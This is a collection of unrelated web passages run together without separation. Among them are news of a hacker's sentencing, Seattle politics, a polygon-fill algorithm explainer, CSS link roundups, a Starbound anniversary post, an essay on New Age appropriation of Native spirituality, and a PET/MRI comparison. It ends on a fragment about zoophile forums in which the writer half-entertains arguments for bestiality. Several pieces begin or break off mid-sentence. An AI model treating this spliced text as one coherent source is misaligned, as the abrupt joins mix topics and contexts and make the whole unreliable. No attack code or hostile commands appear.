Through their search of the Florida home for the federal hacking case, investigators also came across photographs of Sedlak sexually abusing a small child on two different instances — first when the child was a year old, and second when the child was 3. They also found hundreds of pictures of child pornography downloaded from the Internet. Sedlak was subsequently found guilty of production and possession of child pornography and sentenced to 42 years in federal prison.
A judge on Monday ruled that Sedlak will be able to serve his 18 months in prison concurrently with his previous sentence, meaning he won’t have to spend any additional time in prison as a result of his hacking crime.
Reading from prepared remarks in his sentencing hearing Monday, Sedlak’s voice broke. He apologized to the people he tried to hack, acknowledging he “caused them to be afraid for their privacy and to feel violated,” Courthouse News Service reported.
“I’ve hurt many people in different ways with what I’ve done, including everyone who uses electronic mail by making them feel insecure,” Sedlak said.
Defense attorney Annalisa Miron also argued that her client’s attempts to access the network were largely unsuccessful. She made sure to differentiate Sedlak’s case from the probes into potential Russian cyberattacks on Democrats during the 2016 presidential election, Courthouse News Service reported.
“He was not driven to affect the election or anything like that,” she said.
But prosecutors disagreed with the sentencing decision, arguing Sedlak should face up to two more years in prison because of the “profound” nature and impact of cyberthreats, Reuters reported.
“The work of hackers like Sedlak who are motivated to target U.S. government officials and political candidates can have severe consequences of undermining public confidence and trust in our government institutions and political system,” prosecutors wrote.
More from Morning Mix
Megyn Kelly dropped as host for Sandy Hook group’s gala over Alex Jones interview
Congressman-elect Gianforte gets anger management but no jail time for assaulting reporter
Trump-like ‘Julius Caesar’ assassinated in New York play. Delta, Bank of America pull funding.The 43rd District Democrats huddled Tuesday night to formally choose their candidate to replace Ed Murray in the state Senate as the mayor elect prepares to take over at Seattle’s City Hall. The formal selection of House Rep Jamie Pedersen also made room for a new Capitol Hill name in Olympia.
Brady Walkinshaw is a Capitol Hill resident and works with the Gates Foundation. Tuesday night, the 43rd group selected Walkinshaw to lead the district that stretches across the Hill north to Wallingford.
CHS reported in the wake of Murray’s November victory on the likely ascension of Pedersen — also a champion of gay rights and social issues in Olympia — to assume Murray’s seat in the Senate. The selections are now sent to the King County Council for a final decision — typically a forgone conclusion.
Walkinshaw, who was endorsed by Pedersen, is a gay, Cuban-American with an impressive academic background. In addition to his desire to be “a champion for social justice,” Walkinshaw told Publicola he will push for a state capital gains tax. “We should propose a modest capital gains tax that directs its proceeds to K-12 education,” Walkinshaw writes. “The 2013 Washington State Supreme Court ruling striking down the supermajority requirement for new revenue puts this option within reach.” You can read more about him at bradywalkinshaw.com.The Demos think tank recommends that shows - such as Jihad! The Musical or the film Four Lions, by the Brass Eye satirist Chris Morris - should be used to highlight the failings of violent philosophies.
But the tactic could carry heavy dangers of a Muslim backlash of the kind that followed the satirical cartoons of the Prophet Mohammed, published in Danish newspapers.
Demos says that terrorists have more in common with football hooligans and street gangs who are seeking "street cred" than with other Muslims.
It says those that turn to terrorism are often just “angry young men” who are rebelling against the status quo and see joining al-Qaeda as "cool," “romantic” or “glamorous.”
The report says that satire could be used to strip the “al-Qaeda brand” of its glamour and mystique.
Jamie Bartlett, co-author of the report, said: “For a minority, al-Qaeda might seem a ‘cool’ gang to join, even though the truth is that its members are ignorant and incompetent.
“This does not make it any less serious or dangerous. Terrorist activity amounts, all too often, to teenage kicks |
’s information, hold all of the edges that compose the figure and maintain the current edges being used to fill in the polygon, respectively.
Edge Buckets
The edge bucket is a structure that holds information about the polygon’s edges. The edge bucket looks different pending on the implementation of the algorithm, in my case it looks like this:
Edge Bucket representation
Here is a breakdown of what each member represent in an edge bucket:
yMax: Maximum Y position of the edge
Maximum Y position of the edge yMin: Minimum Y position of the edge
Minimum Y position of the edge x: The current x position along the scan line, initially starting at the same point as the yMin of the edge
The current x position along the scan line, initially starting at the same point as the of the edge sign: The sign of the edge’s slope ( either -1 or 1)
The sign of the edge’s slope ( either -1 or 1) dX: The absolute delta x (difference) between the edge’s vertex points
The absolute delta x (difference) between the edge’s vertex points dY: The absolute delta y (difference) between the edge’s vertex points
The absolute delta y (difference) between the edge’s vertex points sum: Initiated to zero. Used as the scan lines are being filled to x to the next position
Edge Table (ET)
The ET is a list that contains all of the edges that make up the figure.
Important ET notes:
When creating edges, the vertices of the edge need to be ordered from left to right
The edges are maintained in increasing yMin order
The edges are removed from the ET once the Active List is done processing them
The algorithm is done filling the polygon once all of the edges are removed from the ET
Active List (AL)
The AL contains the edges that are being processed/used to fill the polygon. Every edge in the AL has a pairing buddy edge, because when filling a scan line, pixels are filled starting from one edge until the buddy edge is encountered.
Important AL notes:A BEST BOOK OF THE YEAR: NPR, Slate, Publishers Weekly, Goodreads
Following the success of The Accidental Billionaires and Moneyball comes Console Wars—a mesmerizing, behind-the-scenes business thriller that chronicles how Sega, a small, scrappy gaming company led by an unlikely visionary and a team of rebels, took on the juggernaut Nintendo and revolutionized the video game industry.
In 1990, Nintendo had a virtual monopoly on the video game industry. Sega, on the other hand, was just a faltering arcade company with big aspirations and even bigger personalities. But that would all change with the arrival of Tom Kalinske, a man who knew nothing about videogames and everything about fighting uphill battles. His unconventional tactics, combined with the blood, sweat and bold ideas of his renegade employees, transformed Sega and eventually led to a ruthless David-and-Goliath showdown with rival Nintendo.
The battle was vicious, relentless, and highly profitable, eventually sparking a global corporate war that would be fought on several fronts: from living rooms and schoolyards to boardrooms and Congress. It was a once-in-a-lifetime, no-holds-barred conflict that pitted brother against brother, kid against adult, Sonic against Mario, and the US against Japan.
Based on over two hundred interviews with former Sega and Nintendo employees, Console Wars is the underdog tale of how Kalinske miraculously turned an industry punchline into a market leader. It’s the story of how a humble family man, with an extraordinary imagination and a gift for turning problems into competitive advantages, inspired a team of underdogs to slay a giant and, as a result, birth a $60 billion dollar industry.Toby Price will not defend his Bikes titles in this year’s Tatts Finke Desert Race as he continues to recover from injuries sustained in the Dakar Rally.
The five-time Bike winner of the Finke had targeted the 2017 edition for his competitive motorcycle return after badly breaking his left leg in South America in January.
However, Price will make a second campaign in Cars after finishing second on debut in 2016, entering the Extreme 2-Wheel Drive class in the #487 Geiser Trophy Truck Chev 6000cc machine.
Also in Cars, Glenn Owen/Mathew Ryan (Jimco Buggy) will seek to defend their title in a field which includes previous Finke winners Hayden Bentley, Greg Gartner, Brad Gallard, Shannon Rentsch and David Fellows.
American off-road star Harley Letner will make his debut in the Finke in Cars.
A two-time Baja 500 winner, Letner is currently undefeated in the 2017 US Best of the Desert Series.
In Bikes, Todd Smith is the only current rider in the field to have interrupted Price’s recent run of victories, winning the Finke in 2013.
Todd Smith and brother Jacob are set to be Honda’s main contenders, while 2016 Baja 1000 winner Daymon Stokie and Josh Green will likely lead the Yamaha charge.
Alice Springs rider David Walsh is the highest-placed finisher of the 2016 edition to return to the Bikes field, onboard his KTM.
The Tatts Finke Desert Race, which takes a gruelling 452km route from Alice Springs to Finke and back again, is also the second round of the CAMS Australian Off Road Championship.
This year marks the 42nd edition of the Finke, which will be held from June 9-12.
2016 Tatts Finke Desert Race Results
Bikes (Top 3) 1 Toby Price KTM 2 Tye Simmonds KTM 3 David Walsh KTM Cars (Top 3) 1 Glenn Owen/Mathew Ryan Jimco Buggy 2 Toby Price/Kyle Pfiitzner Trophy Truck 3 Beau Robinson/Stephen Ketteridge-Hall Trophy Truck
2017 Tatts Finke Desert Race ScheduleGoing to a gig, you don’t tend to expect too much interaction with the band.
If they’re your absolute favourite, you line up early, rush to the barricade as soon as doors open, secure yourself a prime front row posi, scream and sing your guts out while they’re on stage, and maybe – just maybe – you might be lucky enough to snare a pick or a drum stick or a set list or maybe even a sweaty high five from your heroes.
You don’t exactly walk into a gig expecting to walk out with an entire musical instrument.
A young bloke by the name of Daniel Simpson copped the gig gift of a lifetime over this past weekend.
The Brisbane lad attended both The Smith Street Band‘s enormous shows at The Tivoli on Saturday and Sunday night. The band has been documenting their national tour – their biggest one yet – in a series of short videos posted to social media.
After night #1, the band posted this footage, which captured young Dan, perched in the front row, in tears as the group raged through their set.
Bless his heart.
For night #2, Daniel seems to have found himself in almost the identical front-row spot from the night before. And it would appear that the band’s frontman Wil Wagner noticed.
In footage from the second Brisbane show posted to Facebook this afternoon, Wagner hops down from the stage at the conclusion of the set and gifts the guitar off his shoulders to Daniel, who (quite bloody rightfully) absolutely loses his mind.
Oh man. That right there? That’s the good gear. That’s the good, good, real good shit, right there.
The Smith Street Band’s ‘More Scared Of You Than You Are Of Me’ national tour, which is hauling Ceres, Joyce Manor, and Allison Weiss on the road with them, rolls into Melbourne for two shows at the Forum on Friday and Saturday (the latter of which is sold out), before moving on to Perth and Adelaide the weekend after.
Ticket info is available via the band’s official website.
Enjoy the new riff stick, Daniel! Learn three chords and start a band.
Source: The Smith Street Band/Facebook.The 14 Most Popular CSS Links of 2016 So Far
Chris Brandrick Blocked Unblock Follow Following May 23, 2016
We’ve taken a look through all the stats for the 20 issues of HTML5 Weekly (our front-end development newsletter) published so far in 2016 and have collected together the most popular CSS articles, round-ups, tools and tutorials readers have clicked on.
HTML5 Weekly is a newsletter sent every Wednesday with the most important links in the front-end developer community — Join 70,000 other subscribers and sign up for free here.
Ilya Pestov
A great grab-bag of things you can do with CSS along with brief code snippets. Things like gradient borders, counters, and z-index transitions.
This round-up saw nearly 5,000 clicks from readers of HTML 5 Weekly
Philip Walton — Smashing Magazine
Houdini is a new W3C task force with plans to introduce a new set of APIs that will give developers the power to extend CSS itself, and the tools to hook into the styling and layout process of a browser’s rendering engine.
An in-depth look at what the Houdini task force is trying to solve and why.
Mikito Takada
A not-quite-book-length set of chapters walking through every major concept in CSS layout, with dozens of applied examples to illustrate them.
This digital book is also available on GitHub, as a single HTML page, and as a PDF download.
4: Balloon.css for Pure CSS Tooltips
Claudio Holanda
Uses special data-attributes for its settings, but has no reliance upon JavaScript at all. The code is tidy and clever.
A popular pure CSS tooltip with over 2,500 stars on GitHub.
Ire Aderinokun
The CSS Grid Layout Module is still in Editor’s Draft but is now nearing finalisation. Here’s a look at recreating the old ‘Holy Grail’ layout using it.
Maria Antonietta Perna — Sitepoint
You can perform feature detection using native CSS feature queries with the @supports rule, supported in Edge, Firefox, Chrome and Safari.
Sarah Drasner — CSS Tricks
The new CSS Scroll Snap Points spec promises to help us lock an element into the viewport on scroll without JavaScript. Support varies wildly between browsers though.
Anthony Dillon
Includes things like filters, CSS3 selectors, @supports, and performing calculations.
Marco Segreto and Jeremia Kimelman
18F, a digital services agency within the US government, has released a CSS style guide covering best practices and rules they apply for producing consistent, maintainable CSS code.
An in-depth resource/reference.
Oliver Rivo
Go beyond simple linear and radial gradients with something less predictable, using a small base64-encoded SVG directly within your CSS.
This is a pretty cool effect.
Ana Tudor — CSS Tricks
The most extensive walkthrough of background-clip and its potential uses that we’ve seen to date.
Plenty of examples and CodePen embeds.
Dmitry Sheiko
Including knowing how browsers read CSS, how to modularize and apply design principles to your CSS, and how to best name elements in your CSS files.
Luke Fender
Give this tool the URL of a CSS file and it’ll highlight any unnecessary complexity and help you analyze your selectors for duplicates, etc.
Taha Shashtari
A handful of tips on writing clean, maintainable CSS.
Follow us here on Medium or at @FrontendDaily over on Twitter for more handy round-ups and news like the above.WASHINGTON In a remarkable 72 hours of his presidency, Barack Obama carried a momentous secret and gave no hint of it as he consoled tornado victims, delivered a college commencement address and cracked jokes at a black-tie dinner.
What few insiders knew was that Obama had given the go-ahead Friday for the military operation that would end with the death of terrorist leader Osama bin Laden, target of the world's most intense manhunt.
After giving his consent, Obama, wife Michelle and daughters Sasha and Malia left the White House on a busy day of travel, with three stops in two states.
In Alabama, one of several Southern states battered by fierce tornados, Obama assumed his role as consoler in chief as he and the first lady got an up-close look at communities in Tuscaloosa that had been flattened by the twisters.
Next stop: Cape Canaveral, Florida, even though Endeavour's launch, the next to last one before the shuttle fleet is retired, had been scrubbed for technical reasons well before Obama left Alabama. He stuck to his schedule, touring NASA facilities with his family. He also met privately with U.S. Rep. Gabrielle Giffords, who was severely wounded in a January shooting rampage in Tucson, Arizona. Her husband, Mark Kelly, is the shuttle commander.
The president also delivered an evening commencement address at Miami Dade College before returning to Washington.
Obama wore a poker face throughout the weekend.
On Saturday, Obama attended the White House Correspondents' Association annual dinner and lobbed a few barbs at Donald Trump after having endured weeks of attacks by the prospective Republican presidential candidate over whether Obama is U.S.-born.
On Sunday, Obama headed for the Andrews Air Force Base golf course, as he does on many weekends when the weather is nice. But he only played nine holes, instead of his customary 18, and left after about four hours. The reporters who accompany him on public outings thought the chilly, rainy weather played into his decision to leave hours earlier than usual.
Actually, Obama was headed for a meeting to review final preparations for the operation against bin Laden.
In retrospect, there were some meager clues that something may have been going on. Obama went straight to the Oval Office in his golf shoes, instead of to the residence as he normally does after golf. Photos showed him looking tense and clench-jawed.
All became clear late Sunday when Obama told the nation shortly before midnight that bin Laden had been killed at the hands of U.S. forces.Tools & Resources Every Mobile App Developer Should Know About
Link Texting Blocked Unblock Follow Following Dec 22, 2014
We’ve talked to over 350 mobile app ventures and developers from over 80 countries in the past 12 weeks since we launched LinkTexting on ProductHunt. These are the tools and resources we think every Mobile app Developer should be cognizant of while building and launching their app.
ThunderClap
Gather your supporters and broadcast your announcements on their social networks. Launch tool.
LinkTexting
Landing page tool to get more downloads. We built this in house and it has grown quickly among mobile app web pages.
Branch makes the same powerful referral system available both on the web and in your apps.
We can’t praise Branch enough. It’s just dead simple.
A great tool for testing your mobile app on many types of iOS and Android Devices.
LinkTally
Find out how many times your website or blog post is getting shared across different social networks.
Subscribe to a hand picked round up of the best iOS development links every week. Curated by Dave Verwer and published every Friday. Free.
Both of these subreddits provide easy access to tens of thousands of mobile app developers. You can post questions, share product, talk technical, and groove with other people just like you who are building apps.
So when you launch your beta, it makes a lot of sense to be on BetaList. Pay the money and get listed!
An easy tool for grabbing mockups of iphones and ipads. Really useful for landing page imagery.
This is a kickass way to get more referrals. It’s a bit pricey but worth every penny. At the same time, it shouldn’t be abused.
Proto.io is the perfect tool for any non-technical founder looking to mock up a prototype quickly.
Before you dig into building a weekend project, use ideasquares to find out who else has come up with the idea or similar ideas before.
UserVoice integrates easy-to-use feedback, helpdesk, and knowledge base management tools in one platform. It’s a must have for any landing page.
Find out when your user experience gets ungepatched, mixed up, and broken.
Translate your landing page into 150 languages. Get more traffic in more languages.
Integrate tons of analytics platforms without having to make front end engineering changes.
HelloBar is the perfect tool if you have a pervasive call to action across the entire website.
This is a solid way to benchmark and measure the quality of your landing page. If you can meet 50% of the standards on GoodUI.org your landing page is pretty damn good by mobile app developer standards.
This is a great way to gauge the guts of your product. Are they built with the best standards in interaction design? Use IXD Checklist to find out and benchmark your app against viable standards.
This tool is monstrous but worth a quick read.
Use this chrome extension to validate the UX of your multi-platform web app. It’s a perfect tool designed for heuristic evaluation. Even though it is new, we’ve heard good things.
Choose a name that has strong digital viability and network effects. Knowem tells you what names are and are not available on over 300 social networks in seconds. It also indicates domain name availability. This tool couples well with Panabee, a brainstorming tool.Hi everyone!
Today is a special day for the team here, as it marks Starbound’s (official) 2 Year Anniversary since 1.0 and the game’s full release on Steam.
Since then we’ve had a few major updates (woo Mechs!) and are looking ahead to the future of Starbound, including the upcoming Xbox One release. It’s coming along really well, and is currently in the final QA process after the team has made a few performance fixes, and all being well the next step will be sending off for Microsoft certification before it’s ready to go live! We’ll keep you posted once we’re 99.9% sure on an exact launch date.
But special occasions like this are also a great time to look back on the game’s development, launch and amazing community response! A few developers have offered to share some stories, thoughts, and memories about Starbound for this anniversary!
Jay (SamuriFerret):
Starbound is a big game and I’ve had a hand in various aspects of it (I hope you liked my mech designs!) but my favourite thing to develop is bosses! I designed and animated a lot of the bosses in Starbound, and closest to my heart is Asra Nox. I managed to find pictures of my earliest sketches of the then-called “cultist boss”.
At first Nox was designed simply to be a classic “mirror boss” where you fight against an opponent who has similar abilities to the player, but Nox ended up evolving into one of my favourite Starbound characters. I’ve seen some fantastic fan art of her! It would be nice to one day come back to her story.
Credit to gaiachthonia via Tumblr
Speaking of Nox, I’ve also had a ton of fun recently watching PeanutButterGamer’s Starbound HC playthrough. The true villain of Starbound is actually fall damage.
Adam (Supernorn):
I joined the Starbound team as an artist soon after the game went into early access, up until its successful launch in 2016. We were a very small team making a very big game, and it required us all to wear many different hats!
Some of my favourite work on the project was getting to design the planet parallax backgrounds, the Novakid spaceship and animating the wacky stores at the Outpost, such as Penguin Pete, Treasured Trophies and the Tech Lab.
For most people on the team this was our first experience making a game, with the added challenge of people playing it as we pushed, pulled, tugged and twisted it into position. I’m very thankful for all of you who came along on that ride with us!
Starbound is a great game that I’m proud to have been a small part of. I’m very excited to see the game continue to grow and evolve, and that’s all thanks to its dedicated community.
Harriet (Nixling):
I joined the team fairly late in Starbounds development and was put to work helping write the enormous amount of comments from the races. The ones who needed the most were the Novakid, so naturally I have to declare them my favourite after working on them so much! My main memory of that time is thinking of how to describe flowers in different ways to fit each race, on the chance that someone chose to inspect said flowers! Also the fun of learning how to write like a cowboy for the Novakid very quickly. This fanart below from Astral-Requin on DevianArt is one of my absolute favourites! :
Credit to Astral-Requin via DeviantArt
William (Healthire):
I first got involved with Starbound through modding shortly after early access release in 2013. After having my turret mod included the game, and working with Alex (metadept) on the collaborative Starfoundry mod, I joined the chucklefish team in late 2014. In the nearly two years leading up to 1.0 I worked on a lot of monster and NPC AI, scripting bosses, weapons, missions, fossils, arcade games, and quests.
Some of my favorite work was designing the procedurally generated boss encounters of the 1.2 vaults. Here’s a glimpse of what things sometimes look like in the middle of development. :)
Stephen (Armagon):
It was an absolute privilege to get involved with Starbound so early in the project’s life, and to have stuck it out with Chucklefish to this very day. The game ended up touching almost every aspect of my life in some way or another, whether that was through the people I met along the way, the place I now call home, and the fact I’ve comfortably settled into a career I’d long-assumed was out of my reach. I’ve been pushed to learn new skills day after day, year after year, and I can’t imagine who I would be today had I not been invited to be a part of such an amazing project.
One of my favourite memories, even today, was from April Fool’s day before Starbound had even gone early access. I ended up replacing all the game’s weapon sound effects with mouth sounds I recorded, and I then inserted them into the build that everyone else would be using that day. It didn’t take long before our project chat was filled with surprise and laughter. I ended up capturing these stupid sounds all on video to preserve this silly joke.
My absolute favourite piece of Starbound fan art to date is this movie poster from PiNe11298 whose lovely piece has served as my wallpaper on my phone for almost a year now. :3
Credit to pine11298 via Reddit
Tom (tccoxon):
I came to the team fairly late in development, but I was lucky enough to still get to work on lots of cool little features. Some of the most fun features were the colonies, procedural quests and crew members.
My favorite memory of Starbound happened when I was working on NPC reactions. NPCs are able to interact with other nearby NPCs. They each take turns to play random animations, influenced by previous animations and the NPCs’ individual personalities. What I didn’t immediately realise was that there were not enough programmed reactions in some cases, and they could get stuck in a loop… Such as when Reddit reported that all their villagers were constantly vomiting over each other.
Tom (katzeus):
I’m one of a few people involved with Starbound who started as a fan! I took a deep dive and started what later became the Starbound wiki as a personal project to organize information about this game I was excited about – the first few months the wiki was online I didn’t even share it, it was just a wiki for myself haha.
In those days Bartwe would do daily development streams which were largely programming (and loud keyboard clicking – the inspiration for The Model M). He wouldn’t save those recordings, so I’d capture my screen to video every day, then scrub the video to find small pieces of gameplay where he’d test something to crop sprites or a glimpse of a json file where I could catch some name/category/description details. That’s why a bunch of the earliest sprites on the wiki are blurry – they were compressed through twitch, then through another video processor before being cropped out.
Once I started helping with development, some of the things which stand out were when Tiyuri and I went through and reworked the crafting table system together (before upgrading there were a whoooole lot more crafting tables) and designing and developing the Floran arena sidequest (with a bunch of balance help from Armagon).
It’s hard to believe it’s been two years since 1.0 released! Getting Starbound to that point was such an exciting journey, and I can’t wait to see how the game will continue to evolve in the next two years – both through development updates and community content. Aside from the fact that a number of devs came from the community, the reason Starbound is the game it is now is because of years of community creativity and passion. Thanks for all the love you’ve shared for our game!!
I’ll close it out with some of my favorite fanart – these player chibis by Grace Liu (who also created our Chucklefish avatars!)
‘Till next time!!For All Those Who Were
Indian In A Former Life
by Andrea Smith
The New Age movement has sparked a new interest in Native American traditional spirituality among white women who claim to be feminists. Indian spirituality, with its respect for nature and the interconnectedness of all things, is often presented as the panacea for all individual and global problems. Not surprisingly, many white "feminists" see the opportunity to make a great profit from this new craze. They sell sweat lodges or sacred pipe ceremonies, which promise to bring individual and global healing. Or they sell books and records that supposedly describe Indian traditional practices so that you too, can be Indian.
On the surface, it may appear that this new craze is based on a respect for Indian spirituality. In fact, however, the New Age movement is part of a very old story of white racism and genocide against the Indian people. The "Indian" ways that the white, New Age "feminists" are practicing have little grounding in reality.
True spiritual leaders do not make a profit from their teachings, whether it's through selling books, workshops, sweat lodges, or otherwise. Spiritual leaders teach the people because it is their responsibility to pass what they have learned from their elders to the youngest generations. They do not charge for their services.
Furthermore, the idea that an Indian medicine woman would instruct a white woman to preach the "true path" of Indian spirituality sounds more reminiscent of evangelical Christianity than traditional Indian spirituality. Indian religions are community-based, not proselytizing religions. For this reason, there is not ONE Indian religion, as many New Agers would have you believe. Indian spiritual practices reflect the needs of a particular community. Indians do not generally believe that their way is "the" way, and consequently, they have no desire to tell outsiders about their practices. Also, considering how many Indians there are who do not know the traditions, why would a medicine woman spend so much time teaching a white woman? A medicine woman would be more likely to advise a white woman to look into her OWN culture and find what is liberating in it.
However, some white women seem determined NOT to look into their own cultures for sources of strength. This is puzzling, since pre-Christian European cultures are also earth-based and contain many of the same elements that white women are ostensibly looking for in Native American cultures. This phenomenon leads me to suspect that there is a more insidious motive for latching onto Indian spirituality.
When white "feminists" see how white people have historically oppressed others and how they are coming very close to destroying the earth, they often want to disassociate themselves from their whiteness. They do this by opting to "become Indian." In this way, they can escape responsibility and accountability for white racism.
Of course, white "feminists" want to become only partly Indian. They do not want to be part of our struggles for survival against genocide, and they do not want to fight for treaty rights or an end to substance abuse or sterilization abuse. They do not want to do anything that would tarnish their romanticized notions of what it means to be an Indian.
Moreover, they want to become Indian without holding themselves accountable to Indian communities. If they did they would have to listen to Indians telling them to stop carrying around sacred pipes, stop doing their own sweat lodges and stop appropriating our spiritual practices. Rather, these New Agers see Indians as romanticized gurus who exist only to meet their consumerist needs. Consequently, they do not understand our struggles for survival and thus they can have no genuine understanding of Indian spiritual practices.
While New Agers may think that they are escaping white racism by becoming "Indian," they are in fact continuing the same genocidal practices of their forebears. The one thing that has maintained the survival of Indian people through 500 years of colonialism has been the spiritual bonds that keep us together. When the colonizers saw the strength of our spirituality, they tried to destroy Indian religion by making them illegal. They forced Indian children into white missionary schools and cut their tongues if they spoke their Native languages.
Sundances were made illegal, and Indian participation in the Ghost Dance precipitated the Wounded Knee massacre. The colonizers recognized that it was our spirituality that maintained our spirit of resistance and sense of community. Even today, Indians do not have religious freedom. In a recent ruling the Supreme Court has determined that American Indians do not have the right to sue under the American Indian Religious Freedom Act. They have also determined that if Indian religious freedom conflicts with any "compelling" United States interest, the government always supersedes Indian peoples' freedom of religion.
Many white New Agers continue this practice of destroying Indian spirituality. They trivialize Native American practices so that these practices lose their spiritual force, and they have the white privilege and power to make themselves heard at the expense of Native Americans. Our voices are silenced, and consequently the younger generation of Indians who are trying to find their way back to the Old Ways becomes hopelessly lost in this morass of consumerist spirituality.
These practices also promote the subordination of Indian women to white women. We are told that we are greedy if we do not choose to share our spirituality. Apparently, it is our burden to service white women's needs rather than to spend time organizing within our own communities. Their perceived need for warm and fuzzy mysticism takes precedence over our need to survive.
The New Age movement completely trivializes the oppression we as Indian women face: Indian women are suddenly no longer the women who are forcibly sterilized and tested with unsafe drugs such as Depo Provera; we are no longer the women who have a life expectancy of 47 years; and we are no longer the women who generally live below the poverty level and face a 75 percent unemployment rate. No, we're too busy being cool and spiritual.
This trivialization of our oppression is compounded by the fact that nowadays anyone can be Indian if s/he wants to. All that is required is that one be Indian in a former life, or take part in a sweat lodge, or be monitored by a "medicine woman," or read a how-to book.
Since, according to this theory, anyone can now be "Indian," then the term Indians no longer refers specifically to those people who have survived five hundred years of colonization and genocide. This furthers the goals of white supremacists to abrogate treaty rights and to take away what little we have left. When everyone becomes "Indian," then it is easy to lose sight of the specificity of oppression faced by those who are REALLY Indian in THIS life. It is no wonder we have such a difficult time finding non-Indians to support our struggles when the New Age movement has completely disguised our oppression.
The most disturbing aspect about these racist practices is that they are promoted in the name of feminism. Sometimes it seems that I can't open a feminist periodical without seeing ads promoting white "feminist" practices with little medicine wheel designs. I can't seem to go to a feminist conference without the woman who begins the conference with a ceremony being the only Indian presenter. Participants then feel so "spiritual" after this opening that they fail to notice the absence of Indian women in the rest of the conference or Native American issues in the discussions. And I certainly can't go to a feminist bookstore without seeing books by Lynn Andrews and other people who exploit Indian spirituality all over the place. It seems that, while feminism is supposed to signify the empowerment of all women, it obviously does not include Indian women.
If white feminists are going to act in solidarity with their Indian sisters, they must take a stand against Indian spiritual abuse. Feminist book and record stores should stop selling these products, and feminist periodicals should stop advertising these products. Women who call themselves feminists should denounce exploitative practices wherever they see them.
Many have claimed that Indians are not respecting "freedom of speech" when they demand that whites stop promoting and selling books that exploit Indian spirituality. But promotion of this material is destroying freedom of speech for Native Americans by ensuring that our voices will never be heard. Feminists have already made choices about what they will promote (I haven't seen many books by right-wing, fundamentalist women sold in feminist bookstores, since feminists recognize that these books are oppressive to women.) The issue is not censorship; the issue is racism. Feminists must make a choice either to respect Indian political and spiritual autonomy, or to promote materials that are fundamentally racist under the guise of "freedom of speech."
Respecting the integrity of Native people and their spirituality does not mean that there can never be cross-cultural sharing. However, such a sharing should take place in a way that is respectful to Indian people.
The way to be respectful is for non-Indians to become involved in our political struggles and to develop an on-going relation with Indian COMMUNITIES based on trust and mutual respect. When this happens, Indian people may invite a non-Indian to take part in a ceremony, but it will be on Indian terms.
I hesitate to say this much about cross-cultural sharing however, because many white people take this to mean that they can join in our struggles solely for the purpose of being invited to ceremonies. If this does not occur, they feel that Indians have somehow unfairly withheld spiritual teachings from them. We are expected to pay the price in spiritual exploitation in order to gain allies in our political struggles.
When non-Indians say they will help us, but only on their terms, that is not help - that is blackmail. We are not obligated to teach anyone about our spirituality. It is our choice if we want to share with people who we think will be respectful. It is white people who owe it to us to fight for our survival, since they are living on the land for which our people were murdered.
It is also important for non-Indians to build relationships with Indian communities, rather than with specific individuals. Many non-Indians express their confusion about knowing who is and who is not a legitimate spiritual teacher. The only way for non-Indians to know who legitimate teachers are is to develop ongoing relationships with Indian COMMUNITIES. When they know the community, they will learn who the community respects as its spiritual leaders. This is a process that takes time.
Unfortunately, many white feminists do not want to take this time in their quest for instant spirituality. Profit-making often gets in the way of true sisterhood. However, white feminists should know that as long as they take part in Indian spiritual abuse, either by being consumers of it or by refusing to take a stand on it, Indian women will consider white "feminists" to be nothing more than agents in the genocide of their people.The PET/CT scanner has been around since late 1998, when the first PET/CT prototype was installed for clinical evaluation at the University of Pittsburg Medical Center. The first commercial system reached the market in 2001. Since that time, the PET/CT has become increasing popular. But what about the PET/MRI? The first two clinical whole body systems were installed by Philips at Mount Sinai Medical Centre in 2010, and currently, four manufacturers make PET/MRI systems: Philips, Siemens, GE, and MR Solutions. But why hasn’t it taken off yet?
It has been argued that the only difference between PET/CT and PET/MRI is that PET/MRI is a version with less ionizing radiation. That is not the case, however. There are plenty of differences, including:
PET/CT scanners cannot perform simultaneous data acquisition. PET/MRI can. This would especially be useful for brain imaging, cardiology, and oncology, as it allows essentially perfect temporal correlation of dynamically acquired data sets from both PET and MRI modalities.
PET/CT has a significant radiation dose; PET/MRI uses much less ionizing radiation. (This was already mentioned but it’s necessary to reiterate.)
PET/MRI offers better contrast among soft tissues as well as functional-imaging capabilities.
Notable applications of PET/CT including lung and bone imaging cannot likely be replaced by PET/MRI.
PET/MRI has longer acquisition time and higher costs compared to PET/CT.
As you can see, there are some advantages and disadvantages of PET/MRI over PET/CT. Some feel that PET/MRI would have technical limitations when it comes to operating within existing workflows (longer acquisition time as mentioned above,) and that since PET/MRI must rely on MR instead of X-Ray like the PET/CT, it has limited field of view and dependence on bone for AC calculations (attenuation correction). MR is a poor substitute for CT when it comes to AC calculations, and this is a huge problem for the PET/MRI gaining traction.
In the end, PET/CT and PET/MRI are similar and not so similar. The debate over which is better will likely continue as there are pros and cons to each. But as of right now, PET/CT is winning when it comes to popularity, and will continue to be the go-to modality for molecular imaging. However it’s still fascinating to read about PET/MRI in order to gain a well rounded idea of what will be the industry trends will be in the future.
If you’d like to discuss more about Amber’s PET/CT scanners or any of our other medical imaging modalities, give us a call or contact us here. We’d be happy to help.With Gene Disorders, The Mother's Age Matters, Not The Egg's
We women are all too aware that as we get older the risk of having a baby with genetic disorders goes up. All of a woman's eggs are primed up and ready to go before we are born. But the ones we ovulate later are more prone to genetic errors than the earlier ones.
As a friend of mine surmised, "We age, so you kind of think our eggs would, too."
For a long time, doctors have thought that was because the eggs formed earlier are better than those formed later. They call it the "production-line hypothesis."
But they now think they were wrong about that. "It doesn't look as though the first-formed eggs are any better than the later-formed eggs," says Terry Hassold, a chromosome |
accuse the individual of forcing them to have sex with him/her against their will," wrote Ramsis in his 1969 study, which is cited by sexual therapist and author Dr. Hani Miletski in her book Understanding Bestiality and Zoophila.) Furthermore, animals carry different diseases, genes, hormones; it's just too obscure. Most people think it's biologically gross and morally wrong.
This is where I stood when I started this research. Why would anyone want to have sex with anything other than a human being? But, as I logged into every bestiality forum that would accept me, read all the comment threads, uncovered all the theories from therapists, doctors, and sexologists, and talked to some female zoophiles themselves, my thoughts changed. I'm not for it, but their arguments started to seem...if not valid, at least understandable. Did my nights on Beast Forum create a type of Stockholm Syndrome? I mean, what's so wrong about desiring a reindeer? I found myself thinking, horrified. How is having sex with a pig any crueler than murdering it for bacon? What's worse, rape or murder? My logical self vacated for the sake of an argument.
Why would anyone want to have sex with anything other than a human being?
